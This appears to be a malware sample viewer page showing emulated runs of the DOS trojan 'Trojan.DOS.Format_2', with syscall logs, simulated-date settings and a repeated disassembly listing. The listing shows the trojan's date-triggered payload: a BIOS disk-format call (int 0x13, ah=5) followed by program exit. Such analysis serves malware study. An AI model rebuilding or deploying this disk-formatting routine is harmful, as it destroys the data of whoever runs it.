Sample viewer

vx.netlux.org/Trojan.DOS.Format_2

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:06:15.896788785Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: je 0x12a4a
0x12a48: jne 0x129e1
0x12a4a: mov ah, 5
0x12a4c: mov ch, 1
0x12a4e: mov cl, 5
0x12a50: mov dh, 0
0x12a52: mov dl, 2
0x12a54: int 0x13
0x12a56: mov ah, 0x4c
0x12a58: int 0x21
0x12a5a: fimul word ptr [bp + di - 0x530e]
0x12a5e: xor cx, cx
0x12a60: mov cl, al
0x12a62: jcxz 0x12a67
0x12a64: call 0x12a80
0x12a67: pop dx
0x12a68: pop cx
0x12a69: pop bx
0x12a6a: pop ax

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15478,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:31.021800833Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: je 0x12a4a
0x12a48: jne 0x129e1
0x12a4a: mov ah, 5
0x12a4c: mov ch, 1
0x12a4e: mov cl, 5
0x12a50: mov dh, 0
0x12a52: mov dl, 2
0x12a54: int 0x13
0x12a56: mov ah, 0x4c
0x12a58: int 0x21
0x12a5a: fimul word ptr [bp + di - 0x530e]
0x12a5e: xor cx, cx
0x12a60: mov cl, al
0x12a62: jcxz 0x12a67
0x12a64: call 0x12a80
0x12a67: pop dx
0x12a68: pop cx
0x12a69: pop bx
0x12a6a: pop ax
2018-12-25T12:43:31.026034477Z 55 PC: 12a44 | Get or set switch character (See above)
2018-12-25T12:43:31.029436452Z 57 PC: 12a44 | Create subdirectory (See above)
2018-12-25T12:43:31.035644673Z 7 PC: 12a44 | Direct console input without echo (See above)

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15478,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:31.504729626Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: je 0x12a4a
0x12a48: jne 0x129e1
0x12a4a: mov ah, 5
0x12a4c: mov ch, 1
0x12a4e: mov cl, 5
0x12a50: mov dh, 0
0x12a52: mov dl, 2
0x12a54: int 0x13
0x12a56: mov ah, 0x4c
0x12a58: int 0x21
0x12a5a: fimul word ptr [bp + di - 0x530e]
0x12a5e: xor cx, cx
0x12a60: mov cl, al
0x12a62: jcxz 0x12a67
0x12a64: call 0x12a80
0x12a67: pop dx
0x12a68: pop cx
0x12a69: pop bx
0x12a6a: pop ax
2018-12-25T12:43:31.507901652Z 76 PC: 12a5a | Terminate with return code (Return code = '5')